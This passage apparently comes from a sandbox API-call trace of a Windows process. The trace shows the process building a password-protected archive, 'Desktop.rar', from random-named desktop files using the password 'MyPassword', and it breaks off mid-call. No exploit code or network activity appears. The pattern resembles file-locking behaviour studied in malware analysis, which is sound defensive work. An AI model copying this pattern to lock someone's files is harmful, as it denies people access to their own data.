lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x10aff, lpOverlapped=0x0) returned 1 [0068.168] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d915b3f, nNumberOfBytesToRead=0xef501, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d915b3f*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0068.168] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0068.168] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0068.168] GetFocus () returned 0x102a8 [0068.168] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0068.169] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.169] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0068.169] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0068.169] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a6577d0 [0068.169] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.169] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0068.169] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a656b50 [0068.169] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.169] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0068.169] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0068.169] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.169] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa00 | out: hHeap=0x1ec0a590000) returned 1 [0068.169] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0068.169] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb80, Size=0x48) returned 0x1ec0a656f10 [0068.169] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656f10, Size=0x7a) returned 0x1ec0a64a460 [0068.169] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656b50 | out: hHeap=0x1ec0a590000) returned 1 [0068.169] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a460 | out: hHeap=0x1ec0a590000) returned 1 [0068.172] GetTickCount () returned 0x26eec [0068.172] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15950036201) returned 1 [0068.172] GetTickCount () returned 0x26eec [0068.172] GetTickCount () returned 0x26eec [0068.172] GetTickCount () returned 0x26eec [0068.172] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0068.172] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0068.172] GetFocus () returned 0x102a8 [0068.172] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0068.173] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.173] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.173] ResetEvent (hEvent=0x344) returned 1 [0068.173] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.176] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.176] ResetEvent (hEvent=0x344) returned 1 [0068.176] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.179] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.179] ResetEvent (hEvent=0x344) returned 1 [0068.179] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.181] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.181] GetTickCount () returned 0x26eec [0068.181] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15951000577) returned 1 [0068.181] GetTickCount () returned 0x26eec [0068.181] GetTickCount () returned 0x26eec [0068.181] GetTickCount () returned 0x26eec [0068.182] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0068.182] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0068.182] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.182] ResetEvent (hEvent=0x33c) returned 1 [0068.182] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.183] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.183] ResetEvent (hEvent=0x33c) returned 1 [0068.183] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.184] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.184] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.184] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.184] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x17868e [0068.184] SetFilePointer (in: hFile=0x32c, lDistanceToMove=104, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1786f6 [0068.184] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0068.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.185] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0068.185] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0068.185] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0068.185] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x10ba0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x10ba0, lpOverlapped=0x0) returned 1 [0068.187] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.187] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.188] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1541774, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x17868e [0068.188] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x17868e [0068.188] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.188] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0068.188] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb80, Size=0x48) returned 0x1ec0a657460 [0068.188] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.188] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0068.188] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb80, Size=0x48) returned 0x1ec0a6569c0 [0068.188] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.188] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657460 | out: hHeap=0x1ec0a590000) returned 1 [0068.188] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0068.188] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0068.188] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef8b0 | out: hHeap=0x1ec0a590000) returned 1 [0068.188] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0068.188] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a657460 [0068.188] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657460, Size=0x7a) returned 0x1ec0a649f50 [0068.188] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a649f53*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a649f53*, lpNumberOfBytesWritten=0xe414d8140*=0x68, lpOverlapped=0x0) returned 1 [0068.188] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0068.188] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x68) returned 0x1ec0ddfd830 [0068.188] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0068.188] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649f50 | out: hHeap=0x1ec0a590000) returned 1 [0068.189] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x189296 [0068.189] CloseHandle (hObject=0x350) returned 1 [0068.189] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.189] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.189] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.189] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.189] FindFirstFileW (in: lpFileName="Q00ZHL.bmp", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09c50 [0068.189] FindClose (in: hFindFile=0x1ec0de09c50 | out: hFindFile=0x1ec0de09c50) returned 1 [0068.189] CreateFileW (lpFileName="Q00ZHL.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\q00zhl.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0068.189] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.189] GetTickCount () returned 0x26efc [0068.189] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0068.190] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0068.190] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.190] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0068.190] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="P1f3eP0sOin1nUyy.csv") returned 20 [0068.190] SetWindowTextW (hWnd=0x1028c, lpString="Q00ZHL.bmp") returned 1 [0068.190] GetTickCount () returned 0x26efc [0068.190] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.190] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0068.191] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0068.191] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0068.191] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x2a6)) [0068.191] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0068.191] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15951954453) returned 1 [0068.191] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x74c8, lpOverlapped=0x0) returned 1 [0068.191] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d90c508, nNumberOfBytesToRead=0xf8b38, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d90c508*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0068.191] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa30 [0068.191] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0068.191] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a6577d0 [0068.191] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.191] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0068.191] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a6569c0 [0068.191] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.191] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0068.191] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0068.192] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.192] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0068.192] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef8b0 | out: hHeap=0x1ec0a590000) returned 1 [0068.192] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa30, Size=0x48) returned 0x1ec0a656dd0 [0068.192] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656dd0, Size=0x7a) returned 0x1ec0a64ac40 [0068.192] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0068.192] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64ac40 | out: hHeap=0x1ec0a590000) returned 1 [0068.194] GetTickCount () returned 0x26efc [0068.194] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15952232966) returned 1 [0068.194] GetTickCount () returned 0x26efc [0068.194] GetTickCount () returned 0x26efc [0068.194] GetTickCount () returned 0x26efc [0068.194] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.194] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.194] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.194] ResetEvent (hEvent=0x344) returned 1 [0068.195] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.196] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.196] ResetEvent (hEvent=0x344) returned 1 [0068.196] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.198] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.200] GetTickCount () returned 0x26f0c [0068.200] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15952819474) returned 1 [0068.200] GetTickCount () returned 0x26f0c [0068.200] GetTickCount () returned 0x26f0c [0068.200] GetTickCount () returned 0x26f0c [0068.200] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414dd138 | out: ppv=0xe414dd138*=0x1ec0bfef8b0) returned 0x0 [0068.200] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0bfef8b0, hwnd=0x10284, tbpFlags=2) returned 0x0 [0068.200] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0bfef8b0, hwnd=0x10284, ullCompleted=0x18fa74, ullTotal=0x4f8c9e) returned 0x0 [0068.201] TaskbarList:IUnknown:Release (This=0x1ec0bfef8b0) returned 0x0 [0068.201] GetLastError () returned 0x36b7 [0068.201] SetLastError (dwErrCode=0x36b7) [0068.201] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0068.201] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0068.201] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 26%") returned 5 [0068.201] SetWindowTextW (hWnd=0x102a4, lpString=" 31%") returned 1 [0068.202] GetLastError () returned 0x0 [0068.202] SetLastError (dwErrCode=0x0) [0068.202] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0068.202] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 94%") returned 5 [0068.202] SetWindowTextW (hWnd=0x102a0, lpString=" 98%") returned 1 [0068.202] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x1f, lParam=0x0) returned 0x1a [0068.202] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0068.202] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0068.202] GetFocus () returned 0x102a8 [0068.202] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0068.203] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0068.203] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.203] ResetEvent (hEvent=0x33c) returned 1 [0068.203] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.204] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.204] ResetEvent (hEvent=0x33c) returned 1 [0068.204] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.205] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.205] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.205] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.206] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x189296 [0068.206] SetFilePointer (in: hFile=0x32c, lDistanceToMove=94, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1892f4 [0068.206] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0068.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.206] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0068.206] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0068.206] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0068.207] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x7500, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x7500, lpOverlapped=0x0) returned 1 [0068.207] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.207] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.207] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1610390, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x189296 [0068.207] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x189296 [0068.207] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0068.207] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.207] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a6577d0 [0068.207] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.207] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.207] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a6569c0 [0068.207] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.207] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0068.207] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0068.207] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.208] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0068.208] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa90 | out: hHeap=0x1ec0a590000) returned 1 [0068.208] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a6577d0 [0068.208] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64a610 [0068.208] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a613*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a613*, lpNumberOfBytesWritten=0xe414d8140*=0x5e, lpOverlapped=0x0) returned 1 [0068.208] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0068.208] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x5e) returned 0x1ec0ddfdad0 [0068.208] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0068.208] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a610 | out: hHeap=0x1ec0a590000) returned 1 [0068.208] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, 